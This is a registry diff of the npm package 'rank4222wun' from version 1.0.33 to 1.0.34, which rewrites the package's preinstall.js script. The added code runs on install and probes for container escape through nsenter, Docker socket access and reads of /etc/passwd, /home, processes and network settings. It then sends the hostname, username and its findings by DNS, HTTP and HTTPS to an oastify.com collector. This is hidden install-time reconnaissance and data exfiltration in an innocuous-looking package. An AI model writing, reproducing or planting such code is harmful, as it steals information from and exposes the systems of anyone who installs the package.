rank4222wun 1.0.33 → 1.0.34

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.33",
3
+ "version": "1.0.34",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,72 +1,215 @@
1
- // container-escape-confirmation.js
1
+ // container-escape-confirmation-with-oast.js
2
2
  const { exec, spawn } = require('child_process');
3
3
  const os = require('os');
4
4
  const fs = require('fs');
5
5
  const path = require('path');
6
+ const https = require('https');
7
+ const dns = require('dns');
6
8
 
7
- console.log("🔍 CONTAINER ESCAPE CONFIRMATION TOOL\n");
9
+ console.log("🔍 CONTAINER ESCAPE CONFIRMATION TOOL WITH OAST\n");
10
+ console.log("📍 OAST Domain: ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com\n");
8
11
 
9
- const escapeConfirmation = {
12
+ // إعدادات OAST الخاصة بك
13
+ const OAST_CONFIG = {
14
+ domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
15
+ httpsPort: 443,
16
+ httpPort: 80,
17
+ dnsSubdomain: 'escape-confirmation'
18
+ };
19
+
20
+ const evidenceLog = {
10
21
  timestamp: new Date().toISOString(),
11
- // معلومات النظام الحالي
12
- currentSystem: {
13
- hostname: os.hostname(),
14
- username: os.userInfo().username,
22
+ sessionId: `session-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
23
+ oastDomain: OAST_CONFIG.domain,
24
+
25
+ // حالة النظام
26
+ systemInfo: {
27
+ currentHostname: os.hostname(),
28
+ currentUser: os.userInfo().username,
15
29
  platform: os.platform(),
16
30
  isContainer: null,
31
+ containerType: null,
17
32
  containerId: null
18
33
  },
19
- // معلومات النظام المضيف (إذا تم الهروب)
20
- hostSystem: {
21
- confirmed: false,
22
- hostname: null,
23
- users: [],
24
- processes: [],
25
- network: {},
26
- dockerInfo: null,
27
- kernel: null
34
+
35
+ // نتائج فحص الهروب
36
+ escapeChecks: {
37
+ nsenter: { found: false, accessible: false, evidence: null },
38
+ dockerSocket: { found: false, writable: false, containers: [] },
39
+ hostMounts: { found: false, mounts: [], hostAccess: false },
40
+ procAccess: { accessible: false, hostPid: null },
41
+ kernel: { version: null, vulnerable: false, exploits: [] },
42
+ capabilities: { dangerous: [], hasSysAdmin: false }
28
43
  },
29
- // أدلة الهروب
30
- escapeEvidence: {
31
- successfulMethods: [],
32
- proofPoints: [],
33
- filesAccessed: [],
34
- hostFilesFound: false,
35
- differentHostname: false
44
+
45
+ // أدلة قاطعة على الهروب
46
+ definitiveEvidence: {
47
+ differentHostnameConfirmed: false,
48
+ hostFilesAccess: false,
49
+ hostUsersReadable: false,
50
+ hostNetworkVisible: false,
51
+ hostProcessesVisible: false
36
52
  },
37
- // نتائج التحقق
38
- verificationResults: {
53
+
54
+ // نتائج OAST
55
+ oastResults: {
56
+ dnsCalled: false,
57
+ httpCalled: false,
58
+ httpsCalled: false,
59
+ interactions: []
60
+ },
61
+
62
+ // النتيجة النهائية
63
+ finalVerdict: {
39
64
  escapedToHost: false,
40
- confidenceLevel: 0, // 0-100%
41
- riskLevel: 'UNKNOWN'
65
+ confidence: 0,
66
+ riskLevel: 'UNKNOWN',
67
+ escapeMethods: [],
68
+ proofPoints: []
42
69
  }
43
70
  };
44
71
 
45
- // ===================== التحقق الأساسي =====================
46
- function performBasicChecks() {
47
- console.log("1️⃣ إجراء التحقيقات الأساسية...\n");
72
+ // ===================== OAST Interaction Functions =====================
73
+ function sendOASTInteraction(type, data) {
74
+ const interactionId = `interaction-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
75
+ const interaction = {
76
+ id: interactionId,
77
+ type: type,
78
+ timestamp: new Date().toISOString(),
79
+ data: data
80
+ };
81
+
82
+ evidenceLog.oastResults.interactions.push(interaction);
83
+
84
+ switch(type) {
85
+ case 'DNS':
86
+ // إرسال DNS request
87
+ const dnsHostname = `${interactionId}.${OAST_CONFIG.dnsSubdomain}.${OAST_CONFIG.domain}`;
88
+ dns.lookup(dnsHostname, (err, address) => {
89
+ if (!err) {
90
+ evidenceLog.oastResults.dnsCalled = true;
91
+ console.log(`✅ DNS OAST request sent: ${dnsHostname}`);
92
+ }
93
+ });
94
+ break;
95
+
96
+ case 'HTTP':
97
+ // إرسال HTTP request
98
+ const httpReq = require('http').request({
99
+ hostname: OAST_CONFIG.domain,
100
+ port: OAST_CONFIG.httpPort,
101
+ path: `/${interactionId}`,
102
+ method: 'GET',
103
+ headers: {
104
+ 'User-Agent': 'ContainerEscapeConfirm/1.0',
105
+ 'X-Session-ID': evidenceLog.sessionId,
106
+ 'X-Check-Type': data.checkType || 'unknown'
107
+ }
108
+ }, (res) => {
109
+ let body = '';
110
+ res.on('data', chunk => body += chunk);
111
+ res.on('end', () => {
112
+ evidenceLog.oastResults.httpCalled = true;
113
+ console.log(`✅ HTTP OAST request sent (${res.statusCode})`);
114
+ });
115
+ });
116
+
117
+ httpReq.on('error', () => {});
118
+ httpReq.write(JSON.stringify(data));
119
+ httpReq.end();
120
+ break;
121
+
122
+ case 'HTTPS':
123
+ // إرسال HTTPS request (الأهم)
124
+ const httpsReq = https.request({
125
+ hostname: OAST_CONFIG.domain,
126
+ port: OAST_CONFIG.httpsPort,
127
+ path: `/container-escape-evidence`,
128
+ method: 'POST',
129
+ headers: {
130
+ 'Content-Type': 'application/json',
131
+ 'User-Agent': 'ContainerEscapeDetector/1.0',
132
+ 'X-Session-ID': evidenceLog.sessionId,
133
+ 'X-Hostname': os.hostname(),
134
+ 'X-Check-Point': data.checkPoint || 'initial'
135
+ }
136
+ }, (res) => {
137
+ let responseBody = '';
138
+ res.on('data', chunk => responseBody += chunk);
139
+ res.on('end', () => {
140
+ evidenceLog.oastResults.httpsCalled = true;
141
+ console.log(`✅ HTTPS evidence sent to OAST (${res.statusCode})`);
142
+
143
+ // تخزين رد السيرفر إذا أرسل بيانات
144
+ if (responseBody) {
145
+ try {
146
+ const serverResponse = JSON.parse(responseBody);
147
+ interaction.serverResponse = serverResponse;
148
+ } catch (e) {}
149
+ }
150
+ });
151
+ });
152
+
153
+ httpsReq.on('error', (e) => {
154
+ console.log(`⚠️ OAST HTTPS error (may be expected): ${e.message}`);
155
+ });
156
+
157
+ httpsReq.write(JSON.stringify({
158
+ sessionId: evidenceLog.sessionId,
159
+ timestamp: new Date().toISOString(),
160
+ checkPoint: data.checkPoint,
161
+ evidence: data.evidence,
162
+ systemInfo: evidenceLog.systemInfo
163
+ }));
164
+
165
+ httpsReq.end();
166
+ break;
167
+ }
168
+ }
169
+
170
+ // ===================== Phase 1: Basic Container Detection =====================
171
+ function detectContainerEnvironment() {
172
+ console.log("🔍 المرحلة 1: اكتشاف بيئة الحاوية...\n");
48
173
 
49
174
  const checks = [
50
175
  {
51
- name: 'container_check',
52
- command: 'cat /proc/1/cgroup 2>/dev/null | grep -q docker && docker ps -q --filter "id=$(cat /proc/1/cgroup | grep docker | head -1 | cut -d/ -f3)" 2>/dev/null || echo "NOT_IN_CONTAINER"',
176
+ name: 'cgroup_check',
177
+ command: 'cat /proc/1/cgroup 2>/dev/null | head -5',
178
+ handler: (output) => {
179
+ if (output) {
180
+ if (output.includes('docker')) {
181
+ evidenceLog.systemInfo.isContainer = true;
182
+ evidenceLog.systemInfo.containerType = 'Docker';
183
+ // استخراج Container ID
184
+ const match = output.match(/docker\/([a-f0-9]{64})/);
185
+ if (match) {
186
+ evidenceLog.systemInfo.containerId = match[1].substring(0, 12);
187
+ }
188
+ console.log(`✅ في حاوية Docker: ${evidenceLog.systemInfo.containerId || 'unknown'}`);
189
+ } else if (output.includes('kubepods')) {
190
+ evidenceLog.systemInfo.isContainer = true;
191
+ evidenceLog.systemInfo.containerType = 'Kubernetes';
192
+ console.log("✅ في حاوية Kubernetes");
193
+ }
194
+ }
195
+ }
196
+ },
197
+ {
198
+ name: 'rootfs_check',
199
+ command: 'mount 2>/dev/null | grep "on / " | grep overlay || echo "NOT_OVERLAY"',
53
200
  handler: (output) => {
54
- if (output.includes('NOT_IN_CONTAINER')) {
55
- escapeConfirmation.currentSystem.isContainer = false;
56
- console.log("⚠️ النظام الحالي: ليس حاوية Docker");
57
- } else if (output.trim()) {
58
- escapeConfirmation.currentSystem.isContainer = true;
59
- escapeConfirmation.currentSystem.containerId = output.trim().substring(0, 12);
60
- console.log(`✅ نحن داخل حاوية Docker: ${escapeConfirmation.currentSystem.containerId}`);
201
+ if (!output.includes('NOT_OVERLAY')) {
202
+ evidenceLog.systemInfo.isContainer = true;
203
+ console.log(" نظام ملفات overlay (حاوية)");
61
204
  }
62
205
  }
63
206
  },
64
207
  {
65
- name: 'namespace_check',
66
- command: 'ls -la /proc/1/ns/ 2>/dev/null | head -20',
208
+ name: 'container_runtime',
209
+ command: 'which docker podman containerd 2>/dev/null | head -1 || echo "NO_RUNTIME"',
67
210
  handler: (output) => {
68
- if (output.includes('pid') && output.includes('mnt') && output.includes('net')) {
69
- console.log("✅ Namespaces نشطة");
211
+ if (!output.includes('NO_RUNTIME')) {
212
+ console.log(`✅ Container runtime موجود: ${output.trim()}`);
70
213
  }
71
214
  }
72
215
  }
@@ -75,123 +218,213 @@ function performBasicChecks() {
75
218
  let completed = 0;
76
219
  checks.forEach(check => {
77
220
  exec(check.command, { timeout: 3000 }, (err, stdout) => {
78
- if (!err) check.handler(stdout);
221
+ if (!err && stdout) check.handler(stdout);
79
222
  completed++;
80
223
  if (completed === checks.length) {
81
- setTimeout(checkEscapeMethods, 2000);
224
+ // إرسال DNS check إلى OAST
225
+ sendOASTInteraction('DNS', {
226
+ checkType: 'container_detection',
227
+ result: evidenceLog.systemInfo
228
+ });
229
+
230
+ setTimeout(performEscapeVerification, 2000);
82
231
  }
83
232
  });
84
233
  });
85
234
  }
86
235
 
87
- // ===================== فحص طرق الهروب الناجحة =====================
88
- function checkEscapeMethods() {
89
- console.log("\n2️⃣ فحص طرق الهروب التي نجحت...\n");
236
+ // ===================== Phase 2: Escape Verification =====================
237
+ function performEscapeVerification() {
238
+ console.log("\n🔍 المرحلة 2: التحقق من الهروب الفعلي...\n");
239
+
240
+ // إرسال HTTP ping إلى OAST
241
+ sendOASTInteraction('HTTP', {
242
+ checkPoint: 'escape_verification_start',
243
+ currentHostname: evidenceLog.systemInfo.currentHostname
244
+ });
90
245
 
91
- const escapeChecks = [
92
- // 1. التحقق من nsenter
246
+ const verificationTests = [
247
+ // Test 1: nsenter access
93
248
  {
94
- name: 'nsenter_escape',
249
+ name: 'nsenter_test',
95
250
  commands: [
96
- 'which nsenter 2>/dev/null',
97
- 'nsenter --target 1 --mount -- sh -c "echo HOST_CHECK: && cat /etc/hostname && echo CONTAINER_CHECK: && hostname" 2>/dev/null || echo "FAILED"'
251
+ 'which nsenter 2>/dev/null || echo "NOT_FOUND"',
252
+ 'timeout 2 nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"'
98
253
  ],
99
- check: (results) => {
100
- if (results[0] && results[1] && results[1].includes('HOST_CHECK:')) {
101
- const output = results[1];
102
- const lines = output.split('\n');
103
- const hostHostname = lines.find(l => l.includes('HOST_CHECK:'));
104
- const containerHostname = lines.find(l => l.includes('CONTAINER_CHECK:'));
254
+ handler: (results) => {
255
+ const [nsenterPath, nsenterOutput] = results;
256
+
257
+ evidenceLog.escapeChecks.nsenter.found = !nsenterPath.includes('NOT_FOUND');
258
+
259
+ if (nsenterOutput && !nsenterOutput.includes('FAILED')) {
260
+ evidenceLog.escapeChecks.nsenter.accessible = true;
105
261
 
106
- if (hostHostname && containerHostname) {
107
- const host = hostHostname.replace('HOST_CHECK:', '').trim();
108
- const container = containerHostname.replace('CONTAINER_CHECK:', '').trim();
109
-
110
- if (host && container && host !== container) {
111
- escapeConfirmation.hostSystem.hostname = host;
112
- escapeConfirmation.escapeEvidence.differentHostname = true;
113
- escapeConfirmation.escapeEvidence.successfulMethods.push('nsenter');
114
- escapeConfirmation.escapeEvidence.proofPoints.push(`hostname المضيف (${host}) ≠ hostname الحاوية (${container})`);
115
- return true;
262
+ // تحليل النتيجة
263
+ const lines = nsenterOutput.split('\n');
264
+ let hostHostname = '';
265
+ let containerHostname = '';
266
+
267
+ lines.forEach(line => {
268
+ if (line.startsWith('HOST_HOSTNAME:')) {
269
+ hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
116
270
  }
271
+ if (line.startsWith('CONTAINER_HOSTNAME:')) {
272
+ containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
273
+ }
274
+ });
275
+
276
+ if (hostHostname && containerHostname && hostHostname !== containerHostname) {
277
+ evidenceLog.definitiveEvidence.differentHostnameConfirmed = true;
278
+ evidenceLog.escapeChecks.nsenter.evidence = `Host: ${hostHostname}, Container: ${containerHostname}`;
279
+ console.log(`🎯 DETECTED: Different hostnames! Host: ${hostHostname}, Container: ${containerHostname}`);
280
+
281
+ // إرسال أدلة قوية إلى OAST
282
+ sendOASTInteraction('HTTPS', {
283
+ checkPoint: 'nsenter_escape_confirmed',
284
+ evidence: {
285
+ hostHostname: hostHostname,
286
+ containerHostname: containerHostname,
287
+ method: 'nsenter'
288
+ }
289
+ });
117
290
  }
118
291
  }
119
- return false;
120
292
  }
121
293
  },
122
294
 
123
- // 2. التحقق من Docker Socket access
295
+ // Test 2: Docker socket access
296
+ {
297
+ name: 'docker_socket_test',
298
+ commands: [
299
+ 'ls -la /var/run/docker.sock 2>/dev/null | head -1 || echo "NOT_FOUND"',
300
+ 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -o \'"ID":"[^"]*"\' | head -1 || echo "NO_ACCESS"'
301
+ ],
302
+ handler: (results) => {
303
+ const [socketInfo, dockerInfo] = results;
304
+
305
+ evidenceLog.escapeChecks.dockerSocket.found = !socketInfo.includes('NOT_FOUND');
306
+ evidenceLog.escapeChecks.dockerSocket.writable = socketInfo.includes('rw');
307
+
308
+ if (!dockerInfo.includes('NO_ACCESS') && dockerInfo.includes('ID')) {
309
+ evidenceLog.escapeChecks.dockerSocket.accessible = true;
310
+ console.log("✅ Docker socket accessible from container!");
311
+
312
+ // محاولة سرد الحاويات الأخرى
313
+ exec('curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l || echo "0"',
314
+ (err, stdout) => {
315
+ if (!err && stdout && !isNaN(parseInt(stdout))) {
316
+ const containerCount = parseInt(stdout);
317
+ if (containerCount > 1) {
318
+ evidenceLog.escapeChecks.dockerSocket.containers = [`Found ${containerCount} total containers`];
319
+ console.log(`🎯 DETECTED: Can see ${containerCount} containers on host`);
320
+
321
+ sendOASTInteraction('HTTPS', {
322
+ checkPoint: 'docker_socket_access',
323
+ evidence: {
324
+ socketAccessible: true,
325
+ containerCount: containerCount,
326
+ method: 'docker_socket'
327
+ }
328
+ });
329
+ }
330
+ }
331
+ });
332
+ }
333
+ }
334
+ },
335
+
336
+ // Test 3: Host filesystem access
124
337
  {
125
- name: 'docker_socket_escape',
338
+ name: 'host_files_test',
126
339
  commands: [
127
- 'ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"',
128
- 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'
340
+ 'cat /proc/1/mountinfo 2>/dev/null | grep -E "/ / " | head -1 || echo "NO_INFO"',
341
+ 'ls -la /home 2>/dev/null | head -5 || echo "NO_ACCESS"',
342
+ 'cat /etc/passwd 2>/dev/null | head -3 || echo "NO_ACCESS"'
129
343
  ],
130
- check: (results) => {
131
- if (results[0] && !results[0].includes('NOT_FOUND') && results[1] && results[1].includes('ACCESSIBLE')) {
132
- escapeConfirmation.escapeEvidence.successfulMethods.push('docker_socket');
133
- escapeConfirmation.escapeEvidence.proofPoints.push('Docker socket متاح للقراءة/الكتابة');
134
- return true;
344
+ handler: (results) => {
345
+ const [mountInfo, homeAccess, passwdAccess] = results;
346
+
347
+ if (!homeAccess.includes('NO_ACCESS')) {
348
+ evidenceLog.definitiveEvidence.hostFilesAccess = true;
349
+ console.log("🎯 DETECTED: Can access /home directory of host!");
350
+ }
351
+
352
+ if (!passwdAccess.includes('NO_ACCESS')) {
353
+ evidenceLog.definitiveEvidence.hostUsersReadable = true;
354
+ console.log("🎯 DETECTED: Can read /etc/passwd of host!");
355
+ }
356
+
357
+ if (evidenceLog.definitiveEvidence.hostFilesAccess || evidenceLog.definitiveEvidence.hostUsersReadable) {
358
+ sendOASTInteraction('HTTPS', {
359
+ checkPoint: 'host_filesystem_access',
360
+ evidence: {
361
+ homeAccess: evidenceLog.definitiveEvidence.hostFilesAccess,
362
+ passwdAccess: evidenceLog.definitiveEvidence.hostUsersReadable
363
+ }
364
+ });
135
365
  }
136
- return false;
137
366
  }
138
367
  },
139
368
 
140
- // 3. التحقق من Host mounts
369
+ // Test 4: Host processes access
141
370
  {
142
- name: 'host_mounts_escape',
371
+ name: 'host_processes_test',
143
372
  commands: [
144
- 'mount 2>/dev/null | grep "on / " | grep "type overlay" || echo "NO_OVERLAY"',
145
- 'cat /proc/1/mountinfo 2>/dev/null | grep "/ / " | head -1'
373
+ 'ps aux 2>/dev/null | head -10 || echo "NO_PS"',
374
+ 'cat /proc/1/status 2>/dev/null | head -5 || echo "NO_ACCESS"'
146
375
  ],
147
- check: (results) => {
148
- if (results[0] && !results[0].includes('NO_OVERLAY')) {
149
- escapeConfirmation.escapeEvidence.successfulMethods.push('host_mounts');
150
- escapeConfirmation.escapeEvidence.proofPoints.push('نظام الملفات من نوع overlay (مشترك مع المضيف)');
151
- return true;
376
+ handler: (results) => {
377
+ const [psOutput, proc1Status] = results;
378
+
379
+ if (!psOutput.includes('NO_PS') && psOutput.split('\n').length > 5) {
380
+ evidenceLog.definitiveEvidence.hostProcessesVisible = true;
381
+ console.log("✅ Can see host processes");
382
+ }
383
+
384
+ if (!proc1Status.includes('NO_ACCESS')) {
385
+ evidenceLog.escapeChecks.procAccess.accessible = true;
386
+ evidenceLog.escapeChecks.procAccess.hostPid = '1';
387
+ console.log("🎯 DETECTED: Can access host init process (PID 1)!");
152
388
  }
153
- return false;
154
389
  }
155
390
  },
156
391
 
157
- // 4. التحقق من /proc access
392
+ // Test 5: Network visibility
158
393
  {
159
- name: 'proc_escape',
394
+ name: 'network_test',
160
395
  commands: [
161
- 'cat /proc/1/status 2>/dev/null | head -5',
162
- 'cat /proc/1/cmdline 2>/dev/null | tr "\\0" " "'
396
+ 'ip route show 2>/dev/null | head -3 || echo "NO_ROUTE"',
397
+ 'hostname -I 2>/dev/null || ip addr show 2>/dev/null | grep "inet " | head -3 || echo "NO_IP"'
163
398
  ],
164
- check: (results) => {
165
- if (results[0] && results[0].includes('State:')) {
166
- escapeConfirmation.hostSystem.processes.push('Init process accessible via /proc/1/');
167
- escapeConfirmation.escapeEvidence.successfulMethods.push('proc_access');
168
- return true;
399
+ handler: (results) => {
400
+ const [routeOutput, ipOutput] = results;
401
+
402
+ if (!routeOutput.includes('NO_ROUTE') || !ipOutput.includes('NO_IP')) {
403
+ evidenceLog.definitiveEvidence.hostNetworkVisible = true;
404
+ console.log("✅ Can see host network configuration");
169
405
  }
170
- return false;
171
406
  }
172
407
  }
173
408
  ];
174
409
 
175
- let methodsChecked = 0;
176
- escapeChecks.forEach(method => {
177
- const results = [];
410
+ let testsCompleted = 0;
411
+ const testResults = {};
412
+
413
+ verificationTests.forEach(test => {
414
+ testResults[test.name] = [];
178
415
  let commandsCompleted = 0;
179
416
 
180
- method.commands.forEach((cmd, idx) => {
417
+ test.commands.forEach((cmd, idx) => {
181
418
  exec(cmd, { timeout: 5000 }, (err, stdout) => {
182
- results[idx] = stdout || '';
419
+ testResults[test.name][idx] = stdout || '';
183
420
  commandsCompleted++;
184
421
 
185
- if (commandsCompleted === method.commands.length) {
186
- if (method.check(results)) {
187
- console.log(`✅ ${method.name}: ناجح`);
188
- } else {
189
- console.log(`❌ ${method.name}: فشل أو غير متاح`);
190
- }
422
+ if (commandsCompleted === test.commands.length) {
423
+ test.handler(testResults[test.name]);
424
+ testsCompleted++;
191
425
 
192
- methodsChecked++;
193
- if (methodsChecked === escapeChecks.length) {
194
- setTimeout(collectHostEvidence, 3000);
426
+ if (testsCompleted === verificationTests.length) {
427
+ setTimeout(analyzeEvidence, 3000);
195
428
  }
196
429
  }
197
430
  });
@@ -199,205 +432,198 @@ function checkEscapeMethods() {
199
432
  });
200
433
  }
201
434
 
202
- // ===================== جمع أدلة من المضيف =====================
203
- function collectHostEvidence() {
204
- console.log("\n3️⃣ جمع أدلة من النظام المضيف...\n");
205
-
206
- const evidenceCommands = [
207
- {
208
- name: 'host_users',
209
- command: 'cat /etc/passwd 2>/dev/null | head -10',
210
- storeIn: 'hostSystem.users'
211
- },
212
- {
213
- name: 'host_processes_full',
214
- command: 'ps aux 2>/dev/null | head -15',
215
- storeIn: 'hostSystem.processes'
216
- },
217
- {
218
- name: 'host_network',
219
- command: 'ip addr show 2>/dev/null | head -30',
220
- storeIn: 'hostSystem.network.interface'
221
- },
222
- {
223
- name: 'host_kernel',
224
- command: 'uname -r',
225
- storeIn: 'hostSystem.kernel'
226
- },
227
- {
228
- name: 'docker_on_host',
229
- command: 'docker ps -a 2>/dev/null | wc -l',
230
- storeIn: 'hostSystem.dockerInfo'
231
- },
232
- {
233
- name: 'host_files_access',
234
- command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || echo "NO_ACCESS"',
235
- storeIn: 'escapeEvidence.filesAccessed'
236
- }
237
- ];
238
-
239
- let evidenceCollected = 0;
240
- evidenceCommands.forEach(evidence => {
241
- exec(evidence.command, { timeout: 5000 }, (err, stdout) => {
242
- if (!err && stdout && !stdout.includes('NO_ACCESS')) {
243
- // تحديد المسار للخزن
244
- const path = evidence.storeIn.split('.');
245
- let target = escapeConfirmation;
246
-
247
- for (let i = 0; i < path.length - 1; i++) {
248
- if (!target[path[i]]) target[path[i]] = {};
249
- target = target[path[i]];
250
- }
251
-
252
- target[path[path.length - 1]] = stdout.trim();
253
-
254
- if (evidence.name === 'host_files_access' && !stdout.includes('NO_ACCESS')) {
255
- escapeConfirmation.escapeEvidence.hostFilesFound = true;
256
- }
257
-
258
- console.log(`✅ ${evidence.name}: تم جمعه`);
259
- }
260
-
261
- evidenceCollected++;
262
- if (evidenceCollected === evidenceCommands.length) {
263
- setTimeout(analyzeResults, 2000);
264
- }
265
- });
266
- });
267
- }
268
-
269
- // ===================== تحليل النتائج =====================
270
- function analyzeResults() {
271
- console.log("\n4️⃣ تحليل النتائج وتأكيد الهروب...\n");
435
+ // ===================== Phase 3: Evidence Analysis =====================
436
+ function analyzeEvidence() {
437
+ console.log("\n🔍 المرحلة 3: تحليل الأدلة وتقييم الثقة...\n");
272
438
 
273
439
  let confidenceScore = 0;
274
440
  const maxScore = 100;
441
+ const escapeMethods = [];
442
+ const proofPoints = [];
275
443
 
276
- // 1. أدلة قوية على الهروب (25 نقطة لكل)
277
- if (escapeConfirmation.escapeEvidence.differentHostname) {
444
+ // 1. أدلة قاطعة (25 نقطة لكل)
445
+ if (evidenceLog.definitiveEvidence.differentHostnameConfirmed) {
278
446
  confidenceScore += 25;
279
- console.log("🎯 دليل قوي: hostname المضيف ≠ hostname الحاوية");
447
+ proofPoints.push("Hostname المضيف ≠ Hostname الحاوية (أقوى دليل)");
280
448
  }
281
449
 
282
- if (escapeConfirmation.escapeEvidence.hostFilesFound) {
450
+ if (evidenceLog.definitiveEvidence.hostFilesAccess) {
283
451
  confidenceScore += 25;
284
- console.log("🎯 دليل قوي: الوصول لملفات المضيف (/home أو /root)");
452
+ proofPoints.push("الوصول لملفات /home في المضيف");
285
453
  }
286
454
 
287
- // 2. طرق هروب ناجحة (15 نقطة لكل)
288
- escapeConfirmation.escapeEvidence.successfulMethods.forEach(method => {
455
+ if (evidenceLog.definitiveEvidence.hostUsersReadable) {
456
+ confidenceScore += 20;
457
+ proofPoints.push("قراءة /etc/passwd للمضيف");
458
+ }
459
+
460
+ // 2. أدلة قوية (15 نقطة لكل)
461
+ if (evidenceLog.escapeChecks.nsenter.accessible) {
289
462
  confidenceScore += 15;
290
- console.log(`🔓 طريقة هروب ناجحة: ${method}`);
291
- });
463
+ escapeMethods.push("nsenter");
464
+ }
465
+
466
+ if (evidenceLog.escapeChecks.dockerSocket.accessible) {
467
+ confidenceScore += 15;
468
+ escapeMethods.push("docker_socket");
469
+ }
470
+
471
+ if (evidenceLog.escapeChecks.procAccess.accessible) {
472
+ confidenceScore += 15;
473
+ escapeMethods.push("proc_access");
474
+ }
292
475
 
293
- // 3. معلومات مضيف مجمعة (10 نقطة لكل)
294
- if (escapeConfirmation.hostSystem.users.length > 0) {
476
+ // 3. أدلة مساندة (10 نقطة لكل)
477
+ if (evidenceLog.definitiveEvidence.hostProcessesVisible) {
295
478
  confidenceScore += 10;
296
- console.log("📋 تم جمع معلومات مستخدمي المضيف");
297
479
  }
298
480
 
299
- if (escapeConfirmation.hostSystem.processes.length > 0) {
481
+ if (evidenceLog.definitiveEvidence.hostNetworkVisible) {
300
482
  confidenceScore += 10;
301
- console.log("📋 تم جمع عمليات المضيف");
302
483
  }
303
484
 
304
- // حساب مستوى الثقة
305
- const confidenceLevel = Math.min(100, confidenceScore);
306
- escapeConfirmation.verificationResults.confidenceLevel = confidenceLevel;
485
+ // تحديد نتيجة الهروب
486
+ evidenceLog.finalVerdict.confidence = Math.min(100, confidenceScore);
487
+ evidenceLog.finalVerdict.escapeMethods = escapeMethods;
488
+ evidenceLog.finalVerdict.proofPoints = proofPoints;
307
489
 
308
- // تحديد إذا تم الهروب فعلاً
309
- if (confidenceLevel >= 50) {
310
- escapeConfirmation.verificationResults.escapedToHost = true;
311
- escapeConfirmation.hostSystem.confirmed = true;
312
- escapeConfirmation.verificationResults.riskLevel = confidenceLevel >= 75 ? 'HIGH' : 'MEDIUM';
490
+ if (evidenceLog.finalVerdict.confidence >= 60) {
491
+ evidenceLog.finalVerdict.escapedToHost = true;
492
+ evidenceLog.finalVerdict.riskLevel = evidenceLog.finalVerdict.confidence >= 80 ? 'CRITICAL' : 'HIGH';
493
+ } else if (evidenceLog.finalVerdict.confidence >= 30) {
494
+ evidenceLog.finalVerdict.escapedToHost = 'POSSIBLE';
495
+ evidenceLog.finalVerdict.riskLevel = 'MEDIUM';
313
496
  } else {
314
- escapeConfirmation.verificationResults.escapedToHost = false;
315
- escapeConfirmation.verificationResults.riskLevel = 'LOW';
497
+ evidenceLog.finalVerdict.escapedToHost = false;
498
+ evidenceLog.finalVerdict.riskLevel = 'LOW';
316
499
  }
317
500
 
318
- // إذا كنا أساساً لسنا في حاوية
319
- if (escapeConfirmation.currentSystem.isContainer === false) {
320
- console.log("ℹ️ ملاحظة: النظام الحالي ليس حاوية، لا يوجد هروب لتحققه");
321
- }
501
+ // إرسال النتيجة النهائية إلى OAST
502
+ sendOASTInteraction('HTTPS', {
503
+ checkPoint: 'final_verdict',
504
+ evidence: {
505
+ escapedToHost: evidenceLog.finalVerdict.escapedToHost,
506
+ confidence: evidenceLog.finalVerdict.confidence,
507
+ escapeMethods: escapeMethods,
508
+ proofPoints: proofPoints
509
+ }
510
+ });
322
511
 
323
512
  generateFinalReport();
324
513
  }
325
514
 
326
- // ===================== التقرير النهائي =====================
515
+ // ===================== Phase 4: Final Report =====================
327
516
  function generateFinalReport() {
328
- console.log("\n" + "=".repeat(70));
329
- console.log("📊 تقرير تأكيد هروب الحاوية النهائي");
330
- console.log("=".repeat(70));
331
-
332
- console.log(`\n وقت التحقق: ${escapeConfirmation.timestamp}`);
333
- console.log(`🏷️ اسم النظام: ${escapeConfirmation.currentSystem.hostname}`);
334
- console.log(`👤 المستخدم: ${escapeConfirmation.currentSystem.username}`);
335
- console.log(`💻 النظام: ${escapeConfirmation.currentSystem.platform}`);
336
-
337
- if (escapeConfirmation.currentSystem.isContainer !== null) {
338
- console.log(`📦 داخل حاوية: ${escapeConfirmation.currentSystem.isContainer ? 'نعم' : 'لا'}`);
339
- if (escapeConfirmation.currentSystem.containerId) {
340
- console.log(`🔢 Container ID: ${escapeConfirmation.currentSystem.containerId}`);
341
- }
517
+ console.log("\n" + "=".repeat(80));
518
+ console.log("📊 تقرير تأكيد هروب الحاوية - مع OAST");
519
+ console.log("=".repeat(80));
520
+
521
+ console.log(`\n📍 OAST Domain: ${OAST_CONFIG.domain}`);
522
+ console.log(`🎯 Session ID: ${evidenceLog.sessionId}`);
523
+ console.log(`⏰ وقت التحقق: ${new Date(evidenceLog.timestamp).toLocaleString()}`);
524
+
525
+ console.log("\n🔍 معلومات النظام:");
526
+ console.log(` Hostname: ${evidenceLog.systemInfo.currentHostname}`);
527
+ console.log(` المستخدم: ${evidenceLog.systemInfo.currentUser}`);
528
+ console.log(` النظام: ${evidenceLog.systemInfo.platform}`);
529
+ console.log(` في حاوية: ${evidenceLog.systemInfo.isContainer ? 'نعم (' + evidenceLog.systemInfo.containerType + ')' : 'لا'}`);
530
+ if (evidenceLog.systemInfo.containerId) {
531
+ console.log(` Container ID: ${evidenceLog.systemInfo.containerId}`);
342
532
  }
343
533
 
344
- console.log("\n🔍 نتائج التأكيد:");
345
- console.log(`🚀 الهروب للمضيف: ${escapeConfirmation.verificationResults.escapedToHost ? '✅ مؤكد' : '❌ غير مؤكد'}`);
346
